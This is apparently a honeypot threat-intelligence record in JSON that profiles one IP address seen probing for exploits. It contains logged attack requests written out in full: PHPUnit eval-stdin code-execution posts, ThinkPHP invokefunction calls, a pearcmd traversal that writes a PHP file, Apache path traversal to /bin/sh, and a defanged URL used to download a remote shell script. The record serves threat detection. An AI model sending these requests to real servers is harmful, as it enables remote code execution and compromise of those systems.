{"ip":"177.10.160.46","data_as_of":"2026-10-26T22:48:28+00:00","observed":true,"total_events":148,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,860,179 bytes, which is sustained payload delivery.","Held a session open for 69s, against a median of well under a second.","Counts include 2 interactive session(s) as well as first-packet events.","Interactive sessions: 2 interactive session(s) carried an exploit attempt."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"1,860,179 bytes sent, longest session 69s","bytes_sent":1860179,"session_seconds":69,"persistent":true},"basis":"combined"},"first_seen":"2026-10-19T12:06:14","last_seen":"2026-10-25T17:09:10","events_24h":0,"events_7d":148,"interactive_sessions":2,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"http","sessions":2}],"geo":{"country_code":"BR","country_name":"Brazil","region":"Santa Catarina","city":"Chapecó","lat":-27.1214,"lon":-52.6604,"asn":53238,"org":"Chapeco Tecnologia em Telecomunicacoes Ltda."},"source_domain":"entrenanet--177-10-160-46.enn.net.br","known_scanners":[],"scanner_tag":{"key":"peeringdb:as53238","label":"Chapecó tecnologia em telecomunicação ltda","category":"isp","url":"https://www.peeringdb.com/asn/53238"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","confirmed_by":"interactive_session","sessions":1,"kev_date_added":"2022-02-15"},{"cve_id":"CVE-2019-9082","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-19T12:06:14","last_seen":"2026-10-20T14:57:41","verdicts":[{"verdict":"exploit-attempt","sessions":2}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5","sessions":1},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1","sessions":1}],"services":[{"protocol":"http","port":443,"sessions":1},{"protocol":"http","port":80,"sessions":1}],"logins":[],"commands":[],"downloads":[{"url":"[https]://217[.]60[.]102[.]5/sh","host":"217[.]60[.]102[.]5","sessions":1,"first_seen":"2026-10-19T12:06:14","last_seen":"2026-10-19T12:06:14","virustotal":{"sha256":"917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c","status":"known","malicious":12,"total":75,"name":""}}],"files":[{"sha256":"39fb1ae987e5b03e4e0c6e98fdb53f1257735acf23808833c7017830731ddde0","name":"phpunit-eval-stdin","size":33,"mime_type":"text/x-php","kind":"payload","times":1,"first_seen":"2026-10-20T14:56:44","last_seen":"2026-10-20T14:56:44","virustotal":{"sha256":"39fb1ae987e5b03e4e0c6e98fdb53f1257735acf23808833c7017830731ddde0","status":"known","malicious":0,"total":74,"name":"lzddx06o.exe"}}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":1},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":98,"sessions":1},{"port":443,"proto":"tcp","label":"HTTPS","count":49,"sessions":1},{"port":2375,"proto":"tcp","label":"Docker","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303befc19431d7afb4c187e9756527ed4fbda8175e6e3fb8839431c4a41e686c840203266abd6ff84f0e4733af4f6668ac54e2990123c279cd8b34a6f6e6f63c38b5300246a6a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548aaaa000000170000ff01000100000a000c000a4a4a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed4a4a00010011ec04c0778240eb5c81852c4888712515834319018795356ce560338af1ac571c928b4c7f0832a5cd1143be444bcf41651cc35530cc5f02506218a54b11430352489ed6387cf7f99437f71a14bbcbf59460e5c288842c2466e085c288854f3a4c30a3a46aa6c573b45c1f6bbf1ec91f91682caee8257f192eaaf5bc29187356344d497374d5040dde0b9645678be6587289146599b62efed5bc19c79f62974ffefa0b15636a0ef42dcc60a4442b4bd3cba91a87235cab24de5a0f54926102038d96d41d035327b4297db2a88fef948de81243d8174e5a2bca99894a5a570e8a271fe7aa10d7092caad910cbd48745c9544297bd58979ff59682a915ab763c8089d75244805129555a5f817de4b4a15b01493196adb24cc9904515707c0cce5c29ec8a40f387833bdbc0f4aa5a76739fb2e339a470cd0936822a105e23f9884096029b91939c4a6a75b80b4ccb06a2f8c7ecb7777752a23be1c4d021c8e9c24c9ae032332c96e1d6143abc4e0217bf5ae30371678c60d419dd4b04ebfb51a2508b106710389558e1943bb095169608109ec54eb5e616ed0b16a9cb4565fa34378729f1922359135c3e702426a6a0bd01205c87c0302c6bdf0914c77b513a96072335242ba346c0eb058dca42cc814cdae0b67f06a93980446635b02a48440c88c435ab5383e33e3e481995158ff18a930993837899b4a9042322dca0d19a8b873b27acf92964264cb158c88b6826a015813ea3680f0a84bcf50e7dd87471d2052a290f93d605a7f86504b354a400cae05b5987d7335d7a41f6c63390d86c7e666d37e15f7e98b6ad3749025671bfa8b2bd53b9b76bb04c84378adcaad281b23195cf4d799cc8556c95466b57a4924e694e48a5aa7d881eb2e44184ecb912f85ec585c339e3096a797309719054865a40644148233528511da11218002041146a1b92a1b80b1a339c24c96d713a582b9ea4e4a7269b587675ad2edb57a882aca9070401394856ec9dbdd1bc33a31cfb52982a6671e2e40d94978a342415a021b268872c8b937b4cf373f3c49934dc1bbc2aa3e14010436c4fc96a77a5406fe4685f99ba3abd60c9c8854771c2b4fc255bc8d649dab27edf1b52937a5b5eb320a7e7210f6674d4f84db5168c25341096e047381c3e2196afbad18aa53860bbc431ba51c34f3ac9c5d4944bd2a93e7444d9738d9339550f73ce56f5a25212921ceabd06e8ad3a75ccfb4259f092a9e5d3815cf24ff036a1977a8554ba5ff2855c7cd627474b528535325bf75c2496a1745752a1d14e4aa9849d70380dc8c66449c864ab3e3854352be26c7d08cd6f23ad0fe1794783c7465a4e90aa06cfa058a89a6b9403a5f5f5ad6373468116adf1121ab3604db2658820599d4dc1a9a4e4106ad8c2cfea26a4fc054bb1404f184f99635f46361ee6aa640ea50a55ba381fbb28a56b17d2c504406229f7f7140de998aa1c87bdf6a5d11453c3d258126ab06571926768a22ab16cc1ac96f73c139b9a2b5cbc014d31bf74d22031616b41cb0cadbc1724357fa71b6de724475d1c7fa01a4f43b867030472001a2267b029c560571e76cbe9d1903e79ae11ba297f521f97743b325a95faf313ec53c08ae63f270672f0e1c7bab0fe89fccd3cd0ee3cea5be1cb7fd20879ff830f95d7921b7798d4103fb2be62a72ec564e3b66c8e5dae4ee4cc52506b608900ae5440993c244f7990099f30001d0020bbcf6ed6cba9d7f6d63b0b51a1e55a276ca3bc70b06545e40df5a6311d9dc36e002d00020101002b000706dada03040303fafa0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":153,"b11cun050_00040035_dd905059":273,"b11cuq070_00050835_c0b30902":227},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-19","count":0,"sessions":1},{"date":"2026-10-20","count":0,"sessions":1},{"date":"2026-10-23","count":49,"sessions":0},{"date":"2026-10-24","count":50,"sessions":0},{"date":"2026-10-25","count":49,"sessions":0}],"recent_events":[{"timestamp":"2026-10-25T17:09:10","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":49,"duration_ms":63202,"bytes_in":19068,"bytes_out":3822},{"timestamp":"2026-10-25T17:09:09","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":48,"duration_ms":61988,"bytes_in":18916,"bytes_out":3744},{"timestamp":"2026-10-25T17:09:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":47,"duration_ms":60699,"bytes_in":18730,"bytes_out":3666},{"timestamp":"2026-10-25T17:09:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":46,"duration_ms":59321,"bytes_in":18474,"bytes_out":3588},{"timestamp":"2026-10-25T17:09:04","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":45,"duration_ms":57940,"bytes_in":18228,"bytes_out":3510},{"timestamp":"2026-10-25T17:09:03","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":44,"duration_ms":56577,"bytes_in":17989,"bytes_out":3432},{"timestamp":"2026-10-25T17:09:02","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":43,"duration_ms":55149,"bytes_in":17719,"bytes_out":3354},{"timestamp":"2026-10-25T17:09:00","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":42,"duration_ms":53779,"bytes_in":17448,"bytes_out":3276},{"timestamp":"2026-10-25T17:08:59","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":41,"duration_ms":52142,"bytes_in":17175,"bytes_out":3198},{"timestamp":"2026-10-25T17:08:57","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"cb9edbfb-bc77-465c-a4b2-f60c138a6b38","seq":40,"duration_ms":50959,"bytes_in":16903,"bytes_out":3120}],"http_methods":[{"method":"GET","count":211},{"method":"POST","count":35}],"distinct_ports_total":3,"top_paths":[{"path":"/","count":8,"ports":2},{"path":"/index.php","count":8,"ports":2},{"path":"/containers/json","count":6,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2},{"path":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":2}],"distinct_paths_total":52,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"confirmed_by":"interactive_session","sessions":1,"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2019-9082","tag_type":"cve","title":"ThinkPHP invokefunction remote code execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2019-9082","https://www.exploit-db.com/exploits/46150","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-9082"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1}]}